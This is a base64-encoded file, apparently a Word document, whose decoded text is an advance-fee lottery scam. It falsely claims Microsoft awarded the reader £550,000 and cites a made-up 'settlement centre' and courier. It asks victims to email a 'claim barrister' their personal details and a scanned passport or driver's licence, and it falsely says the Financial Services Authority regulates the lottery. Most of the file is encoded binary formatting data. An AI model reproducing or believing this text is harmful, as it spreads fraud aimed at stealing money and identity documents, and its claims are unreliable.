IEFSRSBBIExPVFMgT0YgU0NBTSBBUlRJU1QgT1VUIFRIRVJFIFBSRVRFTkRJTkcgVE8gQkUgVVMu IFlPVVIgQ0xBSU0gQUdFTlQsoEJBUlJJU1RFUi5NQVJLIFJFWCBJTiBVTklURUQgS0lOR0RPTSBX SUxMIEFTU0lTVCBZT1UgSU4gVEhFIFBST0NFU1NJTkcgT0YgWU9VUiBQUklDRSBSRURFRU1USU9O IFdJVEggWU9VUiBDSE9TRU4gUEFZTUVOVCBDRU5UUkUuDaAJDUNPTkdSQVRVTEFUSU9OUywgT05D RSBNT1JFIEZST02gVEhFIEVOVElSRaBNQU5BR0VNRU5UIEFORCBTVEFGRiBPRiBNSUNST1NPRlQg Q08tT1BFUkFUSU9OIFRPIEFMTCBPVVKgTFVDS1kgV0lOTkVSUy4gVEhBTksgWU9VIEZPUiBCRUlO RyBQQVJUIE9GIFRISVMgUFJPTU9USU9OQUwgTE9UVEVSWSBQUk9HUkFNLiBPVVIgU1BFQ0lBTCBU SEFOS1MgQU5EIEdSQVRJVFVERSBUTyBBTEygVEhFIEFTU09DSUFURVMgRk9SIEFMTEVWSUFUSU5H IFBPVkVSVFkgUk9VTkQgVEhFIFdPUkxELiANDVNJTkNFUkVMWS4gDQ1NUlMgQkVUSCBNT09EDaAg oKCgoKCgoKCgoKCgoKCgoKCgoKCgoA2goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAg DQ0NDQ0IDQgICAgICA0NCA0NDU1SUy4gUk9TRSBQQVRSSUNLIA0oQ08tQ09PUkRJTlRPUikuoKCg oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKANoA0gICAgICAgICAgICAgICAgICAgICAg ICAgICAgIKBMT1RURVJZIFNQT05TT1JTOiBDSElFRiBTUE9OU09SUzsNTUlDUk9TT0ZUIENPUlBP UkFUSU9OIFVLLKCgoKCgoKCgoKCgoKBNSUNST1NPRlQgQ09SUE9SQVRJT04gQUZSSUNBLCANTUlD Uk9TT0ZUIENPUlBPUkFUSU9OIFVTQSygoKCgoKCgoKCgoE1JQ1JPU09GVCBDT1JQT1JBVElPTiBB U0lBLg0NUGFzdCB3aW5uZXJzLg2gDVJFRjogU0VUVExFTUVOVCBDRU5UUkU6DUlUIElToE1ZIFBM RUFTVVJFIFRPIElORk9STSBZT1UgVEhBVCBXRSBIQVZFoE9ORSBTRVRUTEVNRU5UIENFTlRFUlMg V0hFUkUgWU9VIFdJTEwgQ09OVEFDVCBGT1IgUkVERUVNSU5HIE9GIFlPVVIgV0lOTklORyBQUkla RSBPRiCjNTUwLDAwMC4wMCAoRklWRSBIVU5EUkVEIEFORCBGSUZUWSBUSE9VU0FORCBQT1VORFMg U1RFUkxJTkcpLg0NTkFNRTogU0NBUkxFVCBDT1VSSUVSIENPTVBBTlkNU0NBUkxFVCBDT1VSSUVS IENPTVBBTlkgVFJVU1RFRCBURVNURUQgV0hPIENBTiBERUxJVkVSIFlPVVIgV0lOTklORyBUTyBZ T1UgSU4gQU5ZIFBBUlQgT0YgVEhFIFdPUkxEDQ0NCA1GT1IgWU9VUiBQUklDRSBUTyBCRSBQUk9D RVNTRUQgWU9VIE5FRUQgVE8gQ09OVEFDVCBZT1VSIENMQUlNUyBCQVJSSVNURVIgRklMTCBVUCBU SElTIEZPUk0gQU5EICAgICBTRU5EIElUIFRPIE9VUiBDTEFJTaBCQVJSSVNURVIgSU4gVU5JVEVE IEtJTkdET00gV0lUSCBUSEUgRk9MTE9XSU5HIEVNQUlMIEFERFJFU1M6IEJBUlJJU1RFUi5NQVJL IFJFWC4gICAoYmFycm1hcmtyZXguY2ZhY0B3LmNuKS4gIFlPVSBBTFNPIEhBVkUgVE8gU0VORCBT Q0FOTkVEIENPUFkgT0YgWU9VUiBWQUxJRCBJTlRFUk5BVElPTkFMIERSSVZFUmBTIExJQ0VOQ0Ug T1IgUEFTU1BPUlQgVE8gQVZPSUQgRE9VQkxFIENMQUlNIA0NDU9OQ0UgV0UgUkVDRUlWRSBUSEUg UkVRVUlSRUQgSU5GT1JNQVRJT05TLCBUSEUgV0lMTCBCRSBGT1JXQVJERUQgVE8gWU9VUiBDSE9T RU4gREVMSVZFUlkgUEFZTUVOVCBDRU5UUkUgQUxPTkdTSURFIFlPVVIgT1JJR0lOQUwgV0lOTklO RyBDRVJUSUZJQ0FURSANIEFMTCBZT1UgTkVFRCBUTyBETyBJUyBUTyBHSVZFIFRIRU0gWU9VUiBB RERSRVNTIElORk9STUFUSU9OIFdIRVJFIFlPVSBXQU5UIFRIRSBDSEVRVUUgVE8gQkUgREVMSVZF UkVEIFRPLiANCA0NDaANDQ0NDaAIoCBZT1WSUkUgV0lOTkVSOiBOTyAxNyAgICANDQ0NTkFNRQ0I Bw06Bw0HBw1BRERSRVNTDQcNOgcNBwcNTkFUSU9OQUxJVFkNBw06Bw0HBw1TRVgNBw06Bw0HBw1B R0UNBw06Bw0HBw1QSE9ORQ0HDToHDQcHDU9DQ1VQQVRJT04NBw06BwgNBwcNQ09NUEFOWQ0HDToH DQcHDVNFQ1VSSVRZIENPREUNBw06Bw0HBw1XSU5OSU5HIE5PDQcNOgcNBwcNUEFZTUVOVCBDRU5U RVINBw06Bw0HBw0ICBMgSU5DTFVERVBJQ1RVUkUgImh0dHA6Ly9pMi5taWNyb3NvZnQuY29tL2gv YWxsL2kvbXNfbWFzdGhlYWRfOHg2YV9sdHIuanBnIiBcKiBNRVJHRUZPUk1BVCAUARUNDU5PVEUg VEhBVCBUSEVSRSBFWElTVFMgQSBQRVJJT0RJQyBDT05ESVRJT04gT04gQUxMIENMQUlNUyBQUk9D RVNTOyBUSEVSRUZPUkUsIFlPVSBIQVZFIExJTUlURUQgVElNRSBUTyBDTEFJTSBZT1VSIFdJTk5J TkdTLiBGQUlMVVJFIFRPIENMQUlNIFlPVVIgV0lOTklOR1MgV0lUSElOIFRIRSBTVElQVUxBVEVE IFRJTUUgRlJBTUUgV0lMTCBMRUFEIFRPIFRIRSBGT1JGRUlUVVJFIE9GIFlPVVIgV0lOTklOR1Mg QUZURVIgV0hJQ0ggWU9VUiBXSU5OSU5HUyBSRU1JVFRFRCBCQUNLIFRPIFRIRSBNSUNST1NPRlQg SEVBRFFVQVJURVJTIEFORCBXSUxMIFRIRU4gQkUgQURERUQgVE8gTkVYVCBXSU5OSU5HIERSQVdT LiBBTFNPIEtJTkRMWSBCRSBBV0FSRSBUSEFUIFRIRSBGSU5BTkNJQUwgU0VSVklDRVMgQVVUSE9S SVRZIFJFR1VMQVRFUyBUSEUgTUlDUk9TT0ZUIExPVFRFUlkgV0lOTklORyBQUklaRVMgQU5EIEFT IEEgUkVTVUxULCBZT1UgQVJFIEFEVklDRSBUTyBGT0xMT1cgVEhFIExPVFRFUlkgQ0xBSU1TIFRF Uk1TIEFORCBDT05ESVRJT05TIFRPIEVOU1VSRSBUSEUgUkVNSVRUQU5DRSBPRiBZT1VSIFBSSVpF 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 AAAAAAAAAAAA6gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAADqAAAAAAAAAAAAAAAA6gAAAAAAAAAA AAAAAOoAAAAAAAAAAAAAAADqAAAAAAAAAAAAAAAA6gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAADq AAAAAAAAAAAAAAAA6gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAADqAAAAAAAAAAAAAAAA6gAAAAAA AAAAAAAAAOoAAAAAAAAAAAAAAADqAAAAAAAAAAAAAAAA6gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAA AADqAAAAAAAAAAAAAAAA6gAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAAAAAAAAAAAEGABnZHJypQAA DwAAEmQgAQAAFKQAADEkADckADgkAEgkAGdk0EXCAAAbjwoAAJAKAACRCgAAkgoAAAoLAAAcCwAA NwsAAEwLAABVCwAAYQsAAGoLAABsCwAAbQsAAHILAAB4CwAAJAwAAEMMAABmDAAAZwwAAGgMAAD3 DAAA/wwAABUNAAAnDQAAKA0AAPfu3dDD0LapnJKHfXN90GlfWVBH7kdBRwAAAAAAAAoWaI8ckQAw ShcAABAVaHJypQAWaMpbWAAwShcAABAVaHJypQAWaCxh9QAwShcAAAoWaCQlPwAwShcAABIWaPIg MgAwShcAbUgJCHNICQgAEhZoPgSGADBKFwBtSAkIc0gJCAASFmgpIHUAMEoXAG1ICQhzSAkIABIW aFZILQAwShcAbUgJCHNICQgAFRZoVkgtADBKFwBIKgFtSAkIc0gJCBIWaElEeAAwShcAbUgJCHNI CQgAGBVoLGH1ABZoMxIzADBKFwBtSAkIc0gJCAAYFWgsYfUAFmgsYfUAMEoXAG1ICQhzSAkIABgV aCxh9QAWaJw3TwAwShcAbUgJCHNICQgAGBVoLGH1ABZoOyhpADBKFwBtSAkIc0gJCAAYFWgsYfUA FmjKW1gAMEoXAG1ICQhzSAkIACADagAAAAAWaGBWlAA1CIFVCAFcCIFtSAAEbkgABHUIAQAQFWhy cqUAFmicN08AMEoXAAAQFWhycqUAFmjQRcIAMEoXABgoDQAALQ0AADENAAAyDQAANg0AADcNAABX DQAAbg0AAHINAAB4DQAAgA0AAK8NAADPDQAA0A0AAPANAADzDQAA9A0AAPkNAAD6DQAA+w0AAP8N AAACDgAAHQ4AACUOAAAnDgAAQw4AAG4OAAByDgAAcw4AAJAOAACSDgAALxAAADAQAAAxEAAAMhAA AE0QAABqEAAAghAAAI8QAACaEAAAmxAAAOIQAADxEAAA9BAAAPYQAAD69O7l39nf09nf5c3E5bu1 2eXZ5a/lqd/lo52j5ZTllOWU5Y7lzYWO5X95cBAVaHJypQAWaJFp+gAwShcAAAoWaJFp+gAwShcA AAoWaAd5pQAwShcAABAVaKUudwAWaKUudwAwShcAAAoWaKUudwAwShcAABAVaHJypQAWaG1P6gAw ShcAAAoWaBhO2wAwShcAAAoWaGcEtQAwShcAAAoWaMYc9AAwShcAAAoWaDhDfgAwShcAAAoWaAlq gwAwShcAABAVaHJypQAWaAlqgwAwShcAABAVaHJypQAWaPEW9gAwShcAAAoWaFZILQAwShcAAAoW aEUcyAAwShcAAAoWaBJ+LwAwShcAAAoWaMkLfQAwShcAABAVaHJypQAWaMpbWAAwShcAAAoWaI8c kQAwShcAAAoWaDMSMwAwShcAAAoWaIQH+QAwShcALPYQAAAKEQAAEREAAGURAABmEQAAwBEAAMIR AADOEQAAlRIAAJ4SAAAAEwAAARMAAAMTAAAEEwAAGBMAACETAAA9EwAAPhMAAEUTAABXEwAAWBMA AFkTAABgEwAAYRMAAGITAAB3EwAAeBMAAIMTAACSEwAAkxMAAJQTAACaEwAAnBMAAJ0TAACkEwAA pxMAANITAADcEwAA3RMAAPMTAAAKFAAADBQAABwUAAD38ffo99/W99b3zffN98f3zffBzbD3p9+W hfd8c833bfdt9233bfdt920AAAAAChZojgJDADBKFwAAEBVoNWVWABZog01YADBKFwAAEBVoNWVW ABZoNWVWADBKFwAAIRVoNWVWABZog01YADBKFwBCKgJDShgAYUoYAHBoAAD/ACEVaDVlVgAWaDVl VgAwShcAQioCQ0oYAGFKGABwaAAA/wAQFWhycqUAFmgwPIwAMEoXAAAgA2oAAAAAFmhgVpQANQiB VQgBXAiBbUgABG5IAAR1CAEAChZoNWVWADBKFwAAChZoRVUSADBKFwAAEBVocnKlABZog01YADBK FwAAEBVocnKlABZonDdPADBKFwAAEBVocnKlABZo8Rb2ADBKFwAAEBVocnKlABZobU/qADBKFwAA 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 N08AFmjQRcIANQiBNgiBQioGT0oFAFFKBQBcCIFdCIFeSgIAbUgJCHBo/wAAAHNICQg1FWicN08A FmjQRcIANQiBNgiBQioFT0oFAFFKBQBcCIFdCIFeSgIAbUgJCHBo/wD/AHNICQgnFWjKW1gAFmjQ RcIANQiBQioBT0oFAFFKBQBcCIFeSgIAcGgAAAAALRVoyltYABZo0EXCADUIgTYIgUIqBU9KBQBR SgUAXAiBXQiBXkoCAHBo/wD/ABQVaJFNoQAWaNBFwgBPSgUAUUoFAAAnFWjKW1gAFmjQRcIANQiB QioFT0oFAFFKBQBcCIFeSgIAcGj/AP8AAA0uFwAALxcAAD0XAAA/FwAAVxcAABgYAAAZGAAANxgA AJsYAACcGAAAnRgAAJ8YAAD4GQAA+RkAAPoZAACPGgAA+xoAAP0aAAD+GgAA/xoAAAEbAAACGwAA AxsAAAQbAAAFGwAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA3wAAAAAA AAAAAAAAANoAAAAAAAAAAAAAAADaAAAAAAAAAAAAAAAA2gAAAAAAAAAAAAAAANUAAAAAAAAAAAAA AADaAAAAAAAAAAAAAAAA2gAAAAAAAAAAAAAAANoAAAAAAAAAAAAAAADfAAAAAAAAAAAAAAAA2gAA AAAAAAAAAAAAANoAAAAAAAAAAAAAAADaAAAAAAAAAAAAAAAA2gAAAAAAAAAAAAAAANoAAAAAAAAA AAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA 7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBgA Z2SKIpEAAAQYAGdkJF0nAAAPAAASZCABAAAUpAAAMSQANyQAOCQASCQAZ2QkXScAAA8AABJkIAEA ABSkAAAxJAA3JAA4JABIJABnZNBFwgAAGFcXAABoFwAAaRcAAIQXAACHFwAAqRcAAKoXAAC6FwAA uxcAAMQXAADdFwAA3hcAAOEXAADiFwAA5RcAAOoXAAD3FwAA/BcAAP0XAAAFGAAABhgAABQYAAAV GAAAFhgAABcYAAAYGAAAGRgAAB0YAAAeGAAAHxgAADYYAAA3GAAAThgAAPfq9+X36vfg99vW29H3 zNvMxMzb97/R9+qypZiBbWNWAAAAAAAAAAAYFWhgVpEAFmhgVpEANQiBQioGcGj/QEAAABIWaIoi kQA1CIFCKg1waMAAAAAAJxZoYFaRADBKFwBCKgZDShQAT0oGAFFKBgBeSgYAYUoUAHBo/wAAAC0V aGBWkQAWaGBWkQAwShcAQioGQ0oUAE9KBgBRSgYAXkoGAGFKFABwaP8AAAAYFWgoAcEAFmgkXScA NQiBQioGcGj/AAAAABgVaCgBwQAWaGBWkQA1CIFCKgZwaP8AAAAAGBVoYFaUABZoJF0nADUIgUIq DXBowAAAAAAJFmhwfpwANQiBDxVoYFaUABZoQkyKADUIgQkWaEJMigA1CIEJFmjYZ0kANQiBCRZo 50kTADUIgQkWaLVPLwA1CIEJFmjRV2EANQiBCRZoYFaRADUIgRgVaGBWlAAWaCRdJwA1CIFCKgZw aP9AQAAADxVoYFaUABZoJF0nADUIgQAgThgAAFYYAACaGAAAmxgAAJ0YAACeGAAAnxgAAKoYAADR GAAA1BgAAOgYAAAXGQAAIBkAAFUZAABnGQAAaxkAAGwZAACBGQAAhRkAAPcZAAD4GQAA+RkAAPoZ AABKGgAA9uzf0sO7q56rnqueq5iOgHJiq07SPbsAAAAgFWjGfUcAFmgkXScANQiBQioGQ0oGAGFK BgBwaP9AQAAAJxVoYFaUABZoJF0nADUIgUIqAU9KAgBRSgIAXAiBXkoCAHBoAAAAAB8VaGBWlAAW aCRdJwA1CIFCKgNcCIFeSgIAcGgAaM8AGxVokUUoABZokUUoADUIgUIqAlwIgXBoAAD/ABsVaGBW lAAWaCRdJwA1CIFCKgJcCIFwaAAA/wASFWhgVpQAFmgkXScANQiBXAiBAAoWaJFFKAAwShcAABkW aGBWkQA1CIFCKgFcCIFeSgIAcGgAAAAAHxVoYFaUABZoJF0nADUIgUIqAVwIgV5KAgBwaAAAAAAP FWhgVpQAFmgkXScANQiBHQNqAAAAABZoYFaUADUIgVUIAW1IAARuSAAEdQgBGBVoYFaUABZoJF0n 